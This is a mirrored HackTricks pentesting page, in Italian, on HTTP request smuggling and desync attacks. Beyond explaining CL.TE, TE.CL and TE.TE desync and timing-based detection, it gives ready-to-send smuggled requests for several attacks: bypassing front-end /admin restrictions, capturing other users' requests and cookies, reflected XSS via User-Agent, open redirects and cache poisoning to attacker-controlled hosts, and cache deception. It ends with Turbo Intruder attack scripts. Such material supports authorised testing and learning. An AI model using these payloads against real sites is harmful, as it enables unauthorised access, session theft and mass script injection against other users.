Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling/README.md

33 KiB
Raw Blame History

Smuggling di richieste HTTP / Attacco di desincronizzazione HTTP

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Che cos'è

Questa vulnerabilità si verifica quando una desincronizzazione tra i proxy front-end e il server back-end consente a un attaccante di inviare una richiesta HTTP che verrà interpretata come una singola richiesta dai proxy front-end (bilanciamento del carico/reverse-proxy) e come 2 richieste dal server back-end.
Ciò consente a un utente di modificare la prossima richiesta che arriva al server back-end dopo la sua.

Teoria

Specifica RFC (2161)

Se un messaggio viene ricevuto con entrambi un campo di intestazione Transfer-Encoding e un campo di intestazione Content-Length, quest'ultimo DEVE essere ignorato.

Content-Length

L'intestazione dell'entità Content-Length indica le dimensioni del corpo dell'entità, in byte, inviato al destinatario.

Transfer-Encoding: chunked

L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.
Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk

Realtà

Il Front-End (un bilanciamento del carico / Reverse Proxy) elabora l'intestazione content-length o l'intestazione transfer-encoding e il server Back-end elabora l'altra provocando una desincronizzazione tra i 2 sistemi.
Ciò potrebbe essere molto critico poiché un attaccante sarà in grado di inviare una richiesta al proxy inverso che verrà interpretata dal server back-end come 2 richieste diverse. Il pericolo di questa tecnica risiede nel fatto che il server back-end interpreterà la 2a richiesta iniettata come se fosse arrivata dal cliente successivo e la richiesta reale di quel cliente farà parte della richiesta iniettata.

Particolarità

Ricorda che in HTTP un carattere di nuova riga è composto da 2 byte:

  • Content-Length: Questa intestazione utilizza un numero decimale per indicare il numero di byte del corpo della richiesta. Ci si aspetta che il corpo termini nell'ultimo carattere, non è necessaria una nuova riga alla fine della richiesta.
  • Transfer-Encoding: Questa intestazione utilizza nel corpo un numero esadecimale per indicare il numero di byte del prossimo chunk. Il chunk deve terminare con una nuova riga ma questa nuova riga non è conteggiata dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un chunk di dimensione 0 seguito da 2 nuove righe: 0
  • Connection: Sulla base della mia esperienza, è consigliabile utilizzare Connection: keep-alive nella prima richiesta del Request Smuggling.

Esempi di base

{% hint style="success" %} Quando si cerca di sfruttare ciò con Burp Suite disabilitare Aggiorna Content-Length e Normalizza fine linea HTTP/1 nel repeater perché alcuni gadget abusano di nuove righe, ritorni a capo e lunghezze di contenuto malformati. {% endhint %}

Gli attacchi di smuggling di richieste HTTP sono creati inviando richieste ambigue che sfruttano le discrepanze nell'interpretazione degli header Content-Length (CL) e Transfer-Encoding (TE) da parte dei server front-end e back-end. Questi attacchi possono manifestarsi in forme diverse, principalmente come CL.TE, TE.CL e TE.TE. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità derivano dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.

Esempi di base dei tipi di vulnerabilità

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnerabilità CL.TE (Content-Length usato dal Front-End, Transfer-Encoding usato dal Back-End)

  • Front-End (CL): Elabora la richiesta in base all'intestazione Content-Length.
  • Back-End (TE): Elabora la richiesta in base all'intestazione Transfer-Encoding.
  • Scenario di attacco:
  • L'attaccante invia una richiesta in cui il valore dell'intestazione Content-Length non corrisponde alla lunghezza effettiva del contenuto.
  • Il server front-end inoltra l'intera richiesta al server back-end, in base al valore di Content-Length.
  • Il server back-end elabora la richiesta come chunked a causa dell'intestazione Transfer-Encoding: chunked, interpretando i dati rimanenti come una richiesta separata e successiva.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilità TE.CL (Transfer-Encoding usato dal Front-End, Content-Length usato dal Back-End)

  • Front-End (TE): Elabora la richiesta in base all'intestazione Transfer-Encoding.
  • Back-End (CL): Elabora la richiesta in base all'intestazione Content-Length.
  • Scenario di attacco:
  • L'attaccante invia una richiesta chunked in cui la dimensione del chunk (7b) e la lunghezza effettiva del contenuto (Content-Length: 4) non si allineano.
  • Il server front-end, rispettando Transfer-Encoding, inoltra l'intera richiesta al server back-end.
  • Il server back-end, rispettando Content-Length, elabora solo la parte iniziale della richiesta (7b byte), lasciando il resto come parte di una successiva richiesta non intenzionale.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con oscuramento)

  • Server: Entrambi supportano Transfer-Encoding, ma uno può essere ingannato nell'ignorarlo tramite oscuramento.
  • Scenario di attacco:
    • L'attaccante invia una richiesta con intestazioni Transfer-Encoding oscurate.
    • A seconda di quale server (front-end o back-end) non riconosce l'oscuramento, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
    • La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando al traffico illecito.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scenario CL.CL (Content-Length utilizzato sia dal Front-End che dal Back-End):

  • Entrambi i server elaborano la richiesta basandosi esclusivamente sull'intestazione Content-Length.
  • Questo scenario di solito non porta al traffico illecito, poiché c'è un'allineamento su come entrambi i server interpretano la lunghezza della richiesta.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Richiesta normale

Scenario CL != 0:

  • Si riferisce a scenari in cui l'intestazione Content-Length è presente e ha un valore diverso da zero, indicando che il corpo della richiesta ha contenuto.
  • È cruciale per comprendere e creare attacchi di traffico illecito, poiché influisce su come i server determinano la fine di una richiesta.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo non vuoto

Forzatura tramite intestazioni hop-by-hop

Abusando delle intestazioni hop-by-hop, potresti indicare al proxy di eliminare l'intestazione Content-Length o Transfer-Encoding in modo che sia possibile abusare di una richiesta HTTP smuggling.

Connection: Content-Length

Per ulteriori informazioni sui header hop-by-hop visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Scoperta di HTTP Request Smuggling

Identificare le vulnerabilità di HTTP request smuggling può spesso essere raggiunto utilizzando tecniche di temporizzazione, che si basano sull'osservare quanto tempo impiega il server a rispondere alle richieste manipolate. Queste tecniche sono particolarmente utili per rilevare le vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, ci sono altre strategie e strumenti che possono essere utilizzati per trovare tali vulnerabilità:

Trovare Vulnerabilità CL.TE Utilizzando Tecniche di Temporizzazione

  • Metodo:
  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Osservazione:
  • Il server front-end elabora la richiesta in base a Content-Length e interrompe prematuramente il messaggio.
  • Il server back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
  • Indicatori:
  • Timeout o lunghi ritardi nella risposta.
  • Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.

Trovare Vulnerabilità TE.CL Utilizzando Tecniche di Temporizzazione

  • Metodo:
  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Osservazione:
  • Il server front-end elabora la richiesta in base a Transfer-Encoding e inoltra l'intero messaggio.
  • Il server back-end, aspettandosi un messaggio in base a Content-Length, attende dati aggiuntivi che non arrivano mai, causando un ritardo.

Altri Metodi per Trovare Vulnerabilità

  • Analisi Differenziale delle Risposte:
  • Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di analisi.
  • Utilizzo di Strumenti Automatici:
  • Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
  • Test di Varianza della Content-Length:
  • Inviare richieste con valori di Content-Length variabili che non sono allineati con la lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
  • Test di Varianza del Transfer-Encoding:
  • Inviare richieste con intestazioni Transfer-Encoding oscurate o malformate e monitorare come i server front-end e back-end rispondono in modo diverso a tali manipolazioni.

Test di Vulnerabilità di HTTP Request Smuggling

Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è cruciale verificare se le richieste dei client possono essere manipolate. Un metodo diretto è tentare di avvelenare le tue richieste, ad esempio, facendo sì che una richiesta a / produca una risposta 404. Gli esempi di CL.TE e TE.CL precedentemente discussi in Esempi di Base dimostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client stia cercando di accedere a una risorsa diversa.

Considerazioni Chiave

Quando si testano le vulnerabilità di request smuggling interferendo con altre richieste, tenere presente:

  • Connessioni di Rete Distinte: Le richieste "attacco" e "normale" dovrebbero essere inviate tramite connessioni di rete separate. Utilizzare la stessa connessione per entrambe non conferma la presenza della vulnerabilità.
  • URL e Parametri Coerenti: Cerca di utilizzare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a server back-end specifici in base all'URL e ai parametri. Il corrispondere questi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
  • Temporizzazione e Condizioni di Gara: La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste dell'applicazione concorrenti. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni impegnate possono richiedere più prove per una conferma conclusiva della vulnerabilità.
  • Sfide del Bilanciamento del Carico: I server front-end che agiscono come bilanciatori di carico possono distribuire le richieste su vari sistemi back-end. Se le richieste "attacco" e "normale" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
  • Impatto non Intenzionale sugli Utenti: Se il tuo attacco influisce involontariamente su un'altra richiesta dell'utente (non la richiesta "normale" inviata per la rilevazione), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero interrompere altri utenti, richiedendo un approccio cauto.

Abuso di HTTP Request Smuggling

Per aggirare i controlli di sicurezza front-end

Circumvenzione della Sicurezza Front-End tramite HTTP Request Smuggling

A volte, i proxy front-end applicano misure di sicurezza, scrutando le richieste in arrivo. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo l'accesso non autorizzato a endpoint restritti. Ad esempio, l'accesso a /admin potrebbe essere proibito esternamente, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per aggirare queste restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere utilizzato per aggirare i controlli di sicurezza front-end, mirando specificamente al percorso /admin che di solito è protetto dal proxy front-end:

Esempio CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Nell'attacco CL.TE, l'intestazione Content-Length viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione Transfer-Encoding: chunked. Il proxy front-end elabora la richiesta POST iniziale ma non ispeziona la richiesta GET /admin incorporata, consentendo l'accesso non autorizzato al percorso /admin.

Esempio TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Al contrario, nell'attacco TE.CL, la richiesta POST iniziale utilizza Transfer-Encoding: chunked, e la successiva richiesta incorporata viene elaborata in base all'intestazione Content-Length. Simile all'attacco CL.TE, il proxy front-end trascura la richiesta GET /admin nascosta, concedendo involontariamente l'accesso al percorso /admin restritto.

Rivelazione della riscrittura della richiesta front-end

Le applicazioni spesso impiegano un server front-end per modificare le richieste in ingresso prima di passarle al server back-end. Una modifica tipica coinvolge l'aggiunta di intestazioni, come X-Forwarded-For: <IP del client>, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per eludere le protezioni o scoprire informazioni o endpoint nascosti.

Per indagare su come un proxy modifica una richiesta, individuare un parametro POST che il back-end ripete nella risposta. Quindi, creare una richiesta, utilizzando questo parametro per ultimo, simile al seguente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo search=, che è il parametro riflessi nella risposta. Questa riflessione esporrà gli header della richiesta successiva.

È importante allineare l'header Content-Length della richiesta nidificata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementare gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.

Questa tecnica è anche applicabile nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Questo metodo serve principalmente per comprendere le modifiche alla richiesta apportate dal proxy front-end, svolgendo essenzialmente un'indagine autodiretta.

Catturare le richieste di altri utenti

È fattibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:

Aggiungendo la seguente richiesta come valore di un parametro, è possibile memorizzare la richiesta del cliente successivo:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In questo scenario, il parametro commento è destinato a memorizzare i contenuti all'interno della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.

Tuttavia, questa tecnica ha limitazioni. Generalmente, cattura dati solo fino al delimitatore del parametro utilizzato nella richiesta nascosta. Per le sottomissioni di moduli codificati in URL, questo delimitatore è il carattere &. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo &, che potrebbe anche far parte della stringa di query.

Inoltre, è importante notare che questo approccio è anche fattibile con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe concludersi con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Utilizzare l'HTTP request smuggling per sfruttare il XSS riflesso

L'HTTP Request Smuggling può essere sfruttato per sfruttare le pagine web vulnerabili al XSS riflesso, offrendo significativi vantaggi:

  • L'interazione con gli utenti target non è richiesta.
  • Consente lo sfruttamento del XSS in parti della richiesta normalmente inaccessibili, come gli header della richiesta HTTP.

Nei casi in cui un sito web è suscettibile al XSS riflesso tramite l'header User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Questo payload è strutturato per sfruttare la vulnerabilità tramite:

  1. Avviare una richiesta POST, apparentemente tipica, con un'intestazione Transfer-Encoding: chunked per indicare l'inizio del smuggling.
  2. Seguire con un 0, segnando la fine del corpo del messaggio chunked.
  3. Successivamente, viene introdotta una richiesta GET smuggled, in cui l'intestazione User-Agent è iniettata con uno script, <script>alert(1)</script>, attivando il XSS quando il server elabora questa richiesta successiva.

Manipolando l'intestazione User-Agent tramite smuggling, il payload elude i vincoli normali della richiesta, sfruttando così la vulnerabilità del Reflected XSS in modo non standard ma efficace.

Utilizzo del request smuggling HTTP per trasformare un reindirizzamento interno in un reindirizzamento aperto

Sfruttare i reindirizzamenti interni con il request smuggling HTTP

Le applicazioni spesso reindirizzano da un URL a un altro utilizzando il nome host dall'intestazione Host nell'URL di reindirizzamento. Questo è comune con server web come Apache e IIS. Ad esempio, richiedere una cartella senza una barra finale porta a un reindirizzamento per includere la barra:

GET /home HTTP/1.1
Host: normal-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando lo smuggling delle richieste HTTP per reindirizzare gli utenti verso un sito esterno. Ad esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Questo richiesta contrabbandata potrebbe causare il reindirizzamento della richiesta dell'utente successivo verso un sito web controllato dall'attaccante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Utilizzo del traffico HTTP per eseguire l'avvelenamento della cache web

Sfruttare l'avvelenamento della cache web tramite traffico HTTP

L'avvelenamento della cache web può essere eseguito se un qualsiasi componente dell'infrastruttura front-end memorizza nella cache i contenuti, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile avvelenare la cache.

Precedentemente, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento agli Esempi di Base). Allo stesso modo, è fattibile ingannare il server affinché restituisca il contenuto di /index.html in risposta a una richiesta per /static/include.js. Di conseguenza, il contenuto di /static/include.js viene sostituito nella cache con quello di /index.html, rendendo /static/include.js non accessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una vulnerabilità di Redirect Aperto o se c'è un redirect sul sito verso un redirect aperto. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di /static/include.js con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un diffuso attacco di Cross-Site Scripting (XSS) contro tutti i client che richiedono il nuovo /static/include.js.

Di seguito è riportata un'illustrazione dello sfruttamento dell'avvelenamento della cache combinato con un redirect sul sito verso un redirect aperto. L'obiettivo è modificare il contenuto della cache di /static/include.js per servire codice JavaScript controllato dall'attaccante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Nota la richiesta incorporata che mira a /post/next?postId=3. Questa richiesta verrà reindirizzata a /post?postId=4, utilizzando il valore dell'intestazione Host per determinare il dominio. Modificando l'intestazione Host, l'attaccante può reindirizzare la richiesta al proprio dominio (reindirizzamento sul sito a reindirizzamento aperto).

Dopo il successivo avvelenamento del socket, dovrebbe essere avviata una richiesta GET per /static/include.js. Questa richiesta sarà contaminata dalla precedente richiesta di reindirizzamento sul sito a reindirizzamento aperto e recupererà il contenuto dello script controllato dall'attaccante.

Successivamente, qualsiasi richiesta per /static/include.js servirà il contenuto memorizzato dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.

Utilizzo del traffico HTTP per eseguire l'inganno della cache web

Qual è la differenza tra l'avvelenamento della cache web e l'inganno della cache web?

  • Nell'avvelenamento della cache web, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
  • Nell'inganno della cache web, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.

L'attaccante crea una richiesta nascosta che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se questa richiesta contrabbandata avvelena una voce nella cache destinata a contenuti statici (ad esempio, /someimage.png), i dati sensibili della vittima da /private/messages potrebbero essere memorizzati nella voce della cache del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

Armatizzazione della Contrabbando di Richieste HTTP con la Desincronizzazione delle Risposte HTTP

Hai trovato una vulnerabilità di Contrabbando di Richieste HTTP e non sai come sfruttarla. Prova quest'altro metodo di sfruttamento:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Script Turbo Intruder

CL.TE

Da https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Da: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Strumenti

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: